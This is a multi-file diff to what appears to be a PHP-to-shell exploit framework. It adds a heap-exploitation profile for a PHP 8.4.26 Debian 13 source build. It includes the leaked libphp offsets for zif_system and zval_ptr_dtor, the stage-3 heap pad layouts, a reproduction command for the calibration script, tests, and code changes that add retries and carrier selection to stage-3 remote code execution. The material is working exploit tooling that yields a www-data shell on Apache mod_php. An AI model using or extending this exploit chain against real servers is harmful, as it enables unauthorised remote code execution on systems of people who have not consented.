@@ -35,6 +35,7 @@ not match the profile.
 | PHP 8.5.11 amd64 | `php:8.5.11-apache` | `php-8.5.11-bookworm-amd64` | yes | yes | **yes** | separate offsets, same `htdata` |
 | PHP 8.5.10 aarch64 | `php:8.5.10-apache` | `php-8.5.10-bookworm-aarch64` | yes | yes | **yes** | `uid=33(www-data)` |
 | PHP 8.4.26 amd64 | `php:8.4.26-apache` | `php-8.4.26-bookworm-amd64` | yes | yes | **yes** | reference build |
+| PHP 8.4.26 deb13/apxs2 amd64 | source build (Debian 13, Apache 2.4.69 apxs2) | `php-8.4.26-deb13-apxs2-amd64` | yes | yes | **yes** | third stage-3 layout; instance-dependent; requires `--profile deb13-apxs2` |
 | PHP 8.4.25 aarch64 | `php:8.4.25-apache` | `php-8.4.25-bookworm-aarch64` | yes | yes | **yes** | probabilistic stage 3; retries |
 | PHP 8.5.0 aarch64 | `php:8.5.0-apache` | `php-8.5.0-bookworm` | yes | yes | no | stage-3 layout not found |
 | PHP 8.3.35 aarch64 | `php:8.3.35-apache` | `php-8.3.35-bookworm-aarch64` | yes | yes | no | stage-3 reference alive |
@@ -46,7 +47,7 @@ not match the profile.
 | PHP 7.4.33 aarch64 | `php:7.4-apache` | `php-7.4.33-bookworm-aarch64` | no | no | no | UAF; leak shape differs |
 | PHP 8.2.0 aarch64 | `php:8.2.0-apache` | — (offsets only) | n/a | n/a | no | no heap profile |
 
-**13 heap profiles, 5 with verified RCE. Offsets extracted for 12 builds.**
+**14 heap profiles, 6 with verified RCE. Offsets extracted for 12 builds.**
 
 `Heap leak` is stage 1, `libphp leak` is stage 2 and `RCE` is a real command
 proof on an isolated lab. `no` means not verified, not necessarily impossible;
@@ -55,7 +56,12 @@ offsets-only entry. All `yes` rows use the lab configuration: Apache prefork
 `mod_php`, one worker, `display_errors=On`, `memory_limit=8M` and
 `session.upload_progress=On`. Per-image offsets and `libphp` sha256 are in
 [the offset inventory](docs/offset-inventory.md). The 8.4.25 profile needs the
-default retries because its stage 3 is probabilistic.
+default retries because its stage 3 is probabilistic. The 8.4.26 deb13/apxs2
+row is a **source build**, not an official image: its stage-3 phase is
+instance-dependent (the contributor reported 4/4 runs on one Apache master and
+0/5+ on others), so treat `rce: true` as “reproduced on the reporter's lab” and
+retry on a fresh worker/master. Because two 8.4.26 amd64 profiles exist, the
+dispatcher requires `--profile deb13-apxs2` for this build.
 
 ## Features
 
 
@@ -0,0 +1,41 @@
+# PHP 8.4.26 Debian 13 / apxs2 calibration
+
+Status: **contributor-reported**, not independently reproduced by the
+maintainers as of 2026-10-30.
+
+## Environment
+
+- PHP 8.4.26 built from source with `--with-apxs2`
+- Debian 13, Apache 2.4.69 prefork, one worker
+- `display_errors=On`, `memory_limit=8M`, `session.upload_progress=On`
+- OOM body: `memory_limit + 12M`
+
+## Reported results
+
+- Stages 1-2 dispatch cleanly on every attempt with the profile offsets
+  (`zif_system=0x3b19a0`, `zval_ptr_dtor=0x584f00`, `htdata=0x6e0d8`).
+- Stage 3 uses the third layout measured on this build: five `(4,4)` pads plus
+  six `(31,31)` pads, `stage3_fake_len=31`, `stage3_fakes=12`,
+  `stage3_b_name_len=3`, `stage3_wfields=5`, `stage3_cookie=true`.
+- `uid=33(www-data)` proof: 4/4 runs on one Apache master instance; 0/5+ on
+  other masters started the same way. This is instance-dependent, like the
+  8.4.25 probabilistic profile; restart/rotate and retry.
+- The proof command runs inside the Apache mount namespace (`PrivateTmp`), so
+  the reported read-back uses `nsenter -t <pid> -m -- cat /tmp/p9b`.
+
+## Reproducing
+
+```sh
+python3 tools/php2shell_calibrate.py \
+  --target http://127.0.0.1:<lab>/index.php \
+  --container <apache-container> \
+  --stage1-n 892 --stage1-len 79 --stage2-t 442 \
+  --stage3-htdata 0x6e0d8 --stage3-pads '4:4x5,31:31x6' \
+  --stage3-carrier lab --stage3-attempts 5 \
+  --distro deb13 --arch amd64 --proof-file /out/p1
+```
+
+The generated profile must select `upstream_profile: lab` and
+`stage3_carrier: false`; otherwise the dispatcher takes the carrier branch and
+will not reproduce this layout. Because two 8.4.26/amd64 profiles exist, run
+the dispatcher with `--profile deb13-apxs2`.
@@ -12,6 +12,7 @@ Generated from `profiles/*.json` by `tools/php2shell_inventory.py`.
 | 8.3.35 | php-8.3.35-bookworm-aarch64 | 0x377428 | 0x46fcc0 | - | 841 | 63 | 406 | no |
 | 8.4.25 | php-8.4.25-bookworm-aarch64 | 0x42fa30 | 0x637ae0 | 0x690d8 | 841 | 63 | 406 | yes |
 | 8.4.26 | php-8.4.26-bookworm-amd64 | 0x465370 | 0x65eb60 | 0x690d8 | 841 | 79 | 406 | yes |
+| 8.4.26 | php-8.4.26-deb13-apxs2-amd64 | 0x3b19a0 | 0x584f00 | 0x6e0d8 | 892 | 79 | 442 | yes |
 | 8.5.10 | php-8.5.10-bookworm-aarch64 | 0x52e130 | 0x75d360 | 0x690d8 | 841 | 63 | 406 | yes |
 | 8.5.11 | php-8.5.11-bookworm-amd64 | 0x5996e0 | 0x7b47a0 | 0x690d8 | 841 | 63 | 406 | yes |
 | 8.5.11 | php-8.5.11-bookworm-aarch64 | 0x5314f0 | 0x761b80 | 0x690d8 | 841 | 63 | 406 | yes |
@@ -33,6 +34,16 @@ Generated from `profiles/*.json` by `tools/php2shell_inventory.py`.
 
 This is the 8.5 branch, fixed in 8.5.12.
 
+### PHP 8.4.26 deb13/apxs2 — RCE reported on a source build
+
+`php-8.4.26-deb13-apxs2-amd64` is a Debian 13 source build (Apache 2.4.69,
+apxs2, prefork, one worker), not an official image. It needs a third stage-3
+layout: five `(4,4)` pads shift the bin-56 reclaim slot so a 31-byte fake
+reference lands whole at R0. Stages 1-2 dispatch cleanly on every attempt;
+stage 3 is instance-dependent, so retry on a fresh master. The profile must be
+selected explicitly (`--profile deb13-apxs2`) because the official 8.4.26
+bookworm profile has the same PHP version and architecture.
+
 ### PHP 8.4.26 — RCE verified
 
 `php:8.4.26-apache`, bookworm. Verified 3/3 manually and through the factory.
 
@@ -64,7 +64,16 @@ if pads_env:
 Profiles carry a `stage3_pads` list of `[name_len, value_len]` pairs;
 `php2shell_auto.py` serializes it as `a:b,a:b,...` into `P2S_STAGE3_PADS` and
 `php2shell_calibrate.py --stage3-pads` accepts an explicit spec of the same
-form with repetition factors, e.g. `4:4x5,31:31x6`.
+form with repetition factors, e.g. `4:4x5,31:31x6`. An explicit spec is tried
+on its own (with the three known `htdata` slots) and does not require
+`--stage3-htdata`.
+
+Explicit pads default to the **non-carrier** branch (`stage3_carrier: false`,
+`upstream_profile: lab`): that is the branch where `stage3_fake_len`,
+`stage3_fakes` and `stage3_b_name_len` are applied. Pass
+`--stage3-carrier carrier` to calibrate the 15-byte upstream carrier instead.
+The generated profile's `upstream_profile` follows the measured branch, so the
+dispatcher runs the same branch that was calibrated.
 
 The other stage-3 composition knobs (all optional profile fields, all
 environment-driven the same way):
 
@@ -30,7 +30,7 @@
       [31, 31],
       [31, 31]
     ],
-    "stage3_carrier": true,
+    "stage3_carrier": false,
     "stage3_cookie": true,
     "stage3_wfields": 5,
     "stage3_fake_len": 31,
 
@@ -0,0 +1,85 @@
+#!/usr/bin/env python3
+"""Tests for the stage-3 pads/carrier calibration helpers."""
+
+from __future__ import annotations
+
+import json
+import sys
+import unittest
+from pathlib import Path
+
+ROOT = Path(__file__).resolve().parent.parent
+sys.path.insert(0, str(ROOT / "tools"))
+
+import php2shell_calibrate as cal  # noqa: E402
+
+
+class PadSpecTests(unittest.TestCase):
+    def test_builtins_are_preserved(self):
+        self.assertEqual(cal.parse_pads(None), None)
+        self.assertEqual(cal.parse_pads("bookworm"), "bookworm")
+        self.assertEqual(cal.parse_pads("lab"), "lab")
+
+    def test_explicit_spec_with_repetition(self):
+        self.assertEqual(cal.parse_pads("4:4x5,31:31x6"),
+                         [(4, 4)] * 5 + [(31, 31)] * 6)
+
+    def test_explicit_spec_without_repetition(self):
+        self.assertEqual(cal.parse_pads("4:4,31:31"),
+                         [(4, 4), (31, 31)])
+
+    def test_bad_spec_is_rejected(self):
+        with self.assertRaises(SystemExit):
+            cal.parse_pads("4:4x")
+
+
+class CarrierSelectionTests(unittest.TestCase):
+    def test_builtin_bookworm_is_carrier(self):
+        self.assertTrue(cal.stage3_carrier_for("bookworm", "auto"))
+
+    def test_lab_is_not_carrier(self):
+        self.assertFalse(cal.stage3_carrier_for("lab", "auto"))
+
+    def test_explicit_pads_default_to_lab_branch(self):
+        self.assertFalse(cal.stage3_carrier_for([(4, 4)], "auto"))
+
+    def test_override_wins(self):
+        self.assertTrue(cal.stage3_carrier_for([(4, 4)], "carrier"))
+        self.assertFalse(cal.stage3_carrier_for("bookworm", "lab"))
+
+
+class ProfileJsonTests(unittest.TestCase):
+    def test_uncalibrated(self):
+        self.assertEqual(cal.stage3_profile_json(None), (None, None))
+
+    def test_lab(self):
+        pads, carrier = cal.stage3_profile_json({"pads": "lab"})
+        self.assertEqual(carrier, False)
+        self.assertEqual(pads[0], [8, 7])
+
+    def test_explicit_pads_keep_the_measured_branch(self):
+        pads, carrier = cal.stage3_profile_json(
+            {"pads": [(4, 4), (31, 31)], "carrier": False})
+        self.assertEqual(pads, [[4, 4], [31, 31]])
+        self.assertFalse(carrier)
+
+    def test_bookworm(self):
+        pads, carrier = cal.stage3_profile_json({"pads": "bookworm"})
+        self.assertEqual(pads, [[31, 31]] * 6)
+        self.assertTrue(carrier)
+
+
+class Deb13ProfileTests(unittest.TestCase):
+    def test_profile_matches_the_runtime_branch(self):
+        profile = json.loads(
+            (ROOT / "profiles" / "php-8.4.26-deb13-apxs2-amd64.json").read_text())
+        stages = profile["stages"]
+        self.assertEqual(profile["upstream_profile"], "lab")
+        self.assertFalse(stages["stage3_carrier"])
+        self.assertEqual(stages["stage3_fake_len"], 31)
+        self.assertEqual(stages["stage3_fakes"], 12)
+        self.assertEqual(stages["stage3_b_name_len"], 3)
+
+
+if __name__ == "__main__":
+    unittest.main()
@@ -35,6 +35,27 @@ def _connect(self):
 '''
 
 
+SOURCE_STAGE3 = """
+class Exploit:
+    def __init__(self):
+        if profile == "bookworm":
+            self.stage3_carrier = True
+        else:
+            self.stage3_carrier = False
+
+    def stage3(self):
+        parts = []
+        parts += [self._file_part(), self._big_field()]
+        if self.profile == "bookworm":
+            pass
+        else:
+            for i in range(15):
+                parts.append({"name": f"a{i:030d}"[:31], "data": ht})
+            for i in range(2):
+                parts.append({"name": f"f{i:02d}", "data": ref})
+"""
+
+
 class RuntimePatchTests(unittest.TestCase):
     def setUp(self):
         self.tmp = tempfile.TemporaryDirectory()
@@ -60,6 +81,21 @@ def test_patch_tls_keeps_sni(self):
         self.assertIn("server_hostname=self.host", text)
         self.assertFalse(up.patch_tls(str(self.repo)))
 
+    def test_stage3_knobs_patch_real_anchors(self):
+        import py_compile
+
+        (self.repo / "exploit.py").write_text(SOURCE_STAGE3)
+        self.assertTrue(up.patch_params(str(self.repo)))
+        text = (self.repo / "exploit.py").read_text()
+        for marker in ("P2S_STAGE3_PADS", "P2S_STAGE3_COOKIE",
+                       "P2S_STAGE3_WFIELDS", "P2S_STAGE3_FAKE_LEN",
+                       "P2S_STAGE3_FAKES", "P2S_STAGE3_B_NAME_LEN",
+                       "for wi in range(getattr(self, '_p2s_wfields', 0) or 0)"):
+            self.assertIn(marker, text)
+        py_compile.compile(str(self.repo / "exploit.py"), doraise=True)
+        # the second call must be a no-op
+        self.assertFalse(up.patch_params(str(self.repo)))
+
     def test_missing_upstream_is_safe(self):
         self.assertFalse(up.patch_params(str(self.repo / "missing")))
         self.assertFalse(up.patch_tls(str(self.repo / "missing")))
 
@@ -288,44 +288,76 @@ def stage3_profile_json(stage3):
     if pads == "lab":
         return [[8, 7]] + [[7, 7]] * 5, False
     if isinstance(pads, list):
-        return [list(p) for p in pads], True
+        return [list(p) for p in pads], bool(stage3.get("carrier"))
     return [[31, 31]] * 6, True
 
 
+def stage3_carrier_for(pads, override):
+    """Whether this layout uses the upstream 15-byte carrier.
+
+    Explicit pads are calibrated with the non-carrier branch by default: that
+    is the only branch where the per-build fake-reference knobs apply.  Pass
+    --stage3-carrier carrier to measure the carrier layout instead.
+    """
+    if override == "carrier":
+        return True
+    if override == "lab":
+        return False
+    if pads == "lab":
+        return False
+    return not isinstance(pads, list)
+
+
 def calibrate_stage3(mod, ex, chunk, lib, zif, proof, hints):
     if not chunk or not lib:
         return False, None
+    attempts = max(1, int(hints.get("stage3_attempts") or 5))
+    pads_arg = hints.get("stage3_pads")
+    explicit = None
+    if pads_arg not in (None, "bookworm", "lab"):
+        explicit = parse_pads(pads_arg)
     layouts = []
     if hints.get("stage3_htdata"):
-        layouts.append(("hint", hints["stage3_htdata"], parse_pads(hints.get("stage3_pads"))))
+        layouts.append(("hint", hints["stage3_htdata"],
+                        explicit if explicit is not None else (pads_arg or "bookworm")))
+    elif explicit is not None:
+        # An explicit pads spec is useful on its own: try it with every known
+        # htdata slot instead of silently falling back to the built-in pairs.
+        for off in (0x690D8, 0x6E0D8, 0x5404A):
+            layouts.append((f"{hex(off)}/explicit", off, explicit))
     else:
         for off in (0x690D8, 0x6E0D8, 0x5404A):
             for pads in ("bookworm", "lab"):
                 layouts.append((f"{hex(off)}/{pads}", off, pads))
     for name, off, pads in layouts:
-        try:
-            if os.path.exists(proof):
-                os.unlink(proof)
-        except OSError:
-            pass
-        if pads == "lab":
-            ex.stage3_carrier = False
-            ex.stage3_pads = [(8, 7)] + [(7, 7)] * 5
-        elif isinstance(pads, list):
-            ex.stage3_carrier = True
-            ex.stage3_pads = pads
-        else:
-            ex.stage3_carrier = True
-            ex.stage3_pads = [(31, 31)] * 6
-        try:
-            ex.rotate()
-            ex.stage3(chunk + off, lib + zif)
-        except Exception as exc:
-            print(f"    stage3 {name}: {exc}")
-        if os.path.exists(proof) and os.path.getsize(proof) > 0:
-            print(f"[+] stage3 {name}: {open(proof).read().strip()}")
-            return True, {"htdata": off, "pads": pads}
-        print(f"    stage3 {name}: no proof")
+        carrier = stage3_carrier_for(pads, hints.get("stage3_carrier"))
+        for attempt in range(1, attempts + 1):
+            try:
+                if os.path.exists(proof):
+                    os.unlink(proof)
+            except OSError:
+                pass
+            if pads == "lab":
+                ex.stage3_pads = [(8, 7)] + [(7, 7)] * 5
+            elif isinstance(pads, list):
+                ex.stage3_pads = pads
+            else:
+                ex.stage3_pads = [(31, 31)] * 6
+            ex.stage3_carrier = carrier
+            try:
+                # A fresh worker restores the deterministic heap before every
+                # attempt (upstream rotates the same way in its retry loop).
+                ex.rotate()
+                ex.stage3(chunk + off, lib + zif)
+            except Exception as exc:
+                print(f"    stage3 {name} try {attempt}/{attempts}: {exc}")
+            if os.path.exists(proof) and os.path.getsize(proof) > 0:
+                print(f"[+] stage3 {name} try {attempt}/{attempts}: "
+                      f"{open(proof).read().strip()}")
+                return True, {"htdata": off, "pads": pads,
+                              "carrier": carrier}
+            if attempts > 1:
+                print(f"    stage3 {name} try {attempt}/{attempts}: no proof")
     return False, None
 
 
@@ -353,6 +385,11 @@ def main() -> int:
     ap.add_argument("--stage3-htdata", type=lambda x: int(x, 0))
     ap.add_argument("--stage3-pads", default=None,
                     help='bookworm, lab, or explicit pads spec: "4:4x5,31:31x6"')
+    ap.add_argument("--stage3-carrier", choices=("auto", "carrier", "lab"),
+                    default="auto",
+                    help="stage-3 branch: carrier (15-byte upstream string), "
+                         "lab (fake-reference carriers), or auto (carrier for "
+                         "bookworm, lab for explicit/lab pads)")
     ap.add_argument("--distro", default="unknown")
     ap.add_argument("--arch", choices=("aarch64", "amd64"), default=None)
     args = ap.parse_args()
@@ -406,11 +443,14 @@ def main() -> int:
         "fixed_in": f"{branch}.{fixed}" if fixed else None,
         "sapi": "apache2handler",
         "arch": arch,
-        "distro": "debian" if "bookworm" in args.distro else args.distro,
+        "distro": ("debian" if any(x in args.distro for x in
+                                   ("bookworm", "bullseye", "buster", "trixie",
+                                    "deb13", "debian"))
+                   else args.distro),
         "verified": rce,
         "rce": rce,
         "oom_mb": 12,
-        "upstream_profile": "bookworm",
+        "upstream_profile": "bookworm" if s3_carrier else "lab",
         "libphp": {
             "zif_system": hex(sym["zif_system"]),
             "zval_ptr_dtor": hex(sym["zval_ptr_dtor"]),